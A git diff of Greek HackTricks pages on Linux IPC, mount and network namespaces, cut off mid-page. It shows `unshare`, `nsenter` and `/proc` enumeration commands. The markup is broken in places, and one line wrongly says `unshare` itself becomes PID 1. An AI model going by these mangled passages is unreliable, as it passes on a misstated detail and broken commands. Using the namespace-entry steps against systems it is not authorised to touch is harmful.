Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -41,22 +43,27 @@ sudo unshare -i [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
|
||||||
- Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
* Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
||||||
- Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
* Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
||||||
|
* Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -65,29 +72,32 @@ cat /proc/$$/ns/ipc
|
||||||
```
|
```
|
||||||
|
|
||||||
This will display the inode number of the IPC namespace that your process is currently in.
|
This will display the inode number of the IPC namespace that your process is currently in.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/ipc
|
ls -l /proc/self/ns/ipc
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλους τους IPC namespaces
|
|
||||||
|
#### Βρείτε όλους τους IPC namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
|
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέλθετε μέσα σε ένα IPC namespace
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
nsenter -i TARGET_PID --pid /bin/bash
|
|
||||||
```
|
```
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει προς αυτό (όπως `/proc/self/ns/net`).
|
```
|
||||||
|
|
||||||
|
\`\`\`bash nsenter -i TARGET\_PID --pid /bin/bash \`\`\` Επίσης, μπορείτε να \*\*εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root\*\*. Και \*\*δεν μπορείτε\*\* να \*\*εισέλθετε\*\* σε άλλο namespace \*\*χωρίς έναν περιγραφέα\*\* που να δείχνει προς αυτό (όπως \`/proc/self/ns/net\`).
|
||||||
|
|
||||||
|
#### Δημιουργία αντικειμένου IPC
|
||||||
|
|
||||||
### Δημιουργία αντικειμένου IPC
|
|
||||||
```bash
|
```bash
|
||||||
# Container
|
# Container
|
||||||
sudo unshare -i /bin/bash
|
sudo unshare -i /bin/bash
|
||||||
|
@ -102,21 +112,9 @@ key shmid owner perms bytes nattch status
|
||||||
# From the host
|
# From the host
|
||||||
ipcs -m # Nothing is seen
|
ipcs -m # Nothing is seen
|
||||||
```
|
```
|
||||||
## Αναφορές
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Χώρος ονομάτων Mount
|
# Mount Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -32,9 +32,11 @@
|
||||||
### Δημιουργία διαφορετικών Χώρων Ονομάτων
|
### Δημιουργία διαφορετικών Χώρων Ονομάτων
|
||||||
|
|
||||||
#### Εντολή CLI
|
#### Εντολή CLI
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -m [--mount-proc] /bin/bash
|
sudo unshare -m [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος περιβάλλοντος προσάρτησης έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασίας που είναι συγκεκριμένες για αυτό το περιβάλλον**.
|
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος περιβάλλοντος προσάρτησης έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασίας που είναι συγκεκριμένες για αυτό το περιβάλλον**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -44,22 +46,27 @@ sudo unshare -m [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου PID namespace (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στο νέο namespace, μόνο οι διεργασίες παιδιά της.
|
|
||||||
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι διεργασίες παιδιά του βρίσκονται στο αρχικό PID namespace.
|
* Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου PID namespace (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στο νέο namespace, μόνο οι διεργασίες παιδιά της.
|
||||||
- Η πρώτη διεργασία παιδί του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του namespace αν δεν υπάρχουν άλλες διεργασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτό το namespace.
|
* Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι διεργασίες παιδιά του βρίσκονται στο αρχικό PID namespace.
|
||||||
|
* Η πρώτη διεργασία παιδί του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του namespace αν δεν υπάρχουν άλλες διεργασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτό το namespace.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου PID namespace.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι διεργασίες παιδιά του περιορίζονται στο νέο αυτό namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου PID namespace.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι διεργασίες παιδιά του περιορίζονται στο νέο αυτό namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -68,31 +75,34 @@ cat /proc/$$/mountinfo | grep "ns"
|
||||||
```
|
```
|
||||||
|
|
||||||
This command will display the mount namespace information for your process.
|
This command will display the mount namespace information for your process.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/mnt
|
ls -l /proc/self/ns/mnt
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλα τα Mount namespaces
|
|
||||||
|
#### Βρείτε όλα τα Mount namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
|
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέρχονται μέσα σε ένα Mount namespace
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
nsenter -m TARGET_PID --pid /bin/bash
|
|
||||||
```
|
```
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει προς αυτό (όπως `/proc/self/ns/mnt`).
|
```
|
||||||
|
|
||||||
|
\`\`\`bash nsenter -m TARGET\_PID --pid /bin/bash \`\`\` Επίσης, μπορείτε να \*\*εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root\*\*. Και \*\*δεν μπορείτε\*\* να \*\*εισέλθετε\*\* σε άλλο namespace \*\*χωρίς έναν περιγραφέα\*\* που να δείχνει προς αυτό (όπως \`/proc/self/ns/mnt\`).
|
||||||
|
|
||||||
Επειδή οι νέες προσαρτήσεις είναι προσβάσιμες μόνο εντός του namespace, είναι δυνατόν ένα namespace να περιέχει ευαίσθητες πληροφορίες που μπορούν να προσπελαστούν μόνο από αυτό.
|
Επειδή οι νέες προσαρτήσεις είναι προσβάσιμες μόνο εντός του namespace, είναι δυνατόν ένα namespace να περιέχει ευαίσθητες πληροφορίες που μπορούν να προσπελαστούν μόνο από αυτό.
|
||||||
|
|
||||||
### Προσάρτηση κάτι
|
#### Προσάρτηση κάτι
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Generate new mount ns
|
# Generate new mount ns
|
||||||
unshare -m /bin/bash
|
unshare -m /bin/bash
|
||||||
|
@ -106,20 +116,9 @@ ls /tmp/mount_ns_example/test # Exists
|
||||||
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
|
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
|
||||||
ls /tmp/mount_ns_example/test # Doesn't exist
|
ls /tmp/mount_ns_example/test # Doesn't exist
|
||||||
```
|
```
|
||||||
## Αναφορές
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Διαχωρισμός Δικτύου
|
# Network Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -30,10 +30,12 @@
|
||||||
### Δημιουργία διαφορετικών Namespaces
|
### Δημιουργία διαφορετικών Namespaces
|
||||||
|
|
||||||
#### Εντολική γραμμή
|
#### Εντολική γραμμή
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -n [--mount-proc] /bin/bash
|
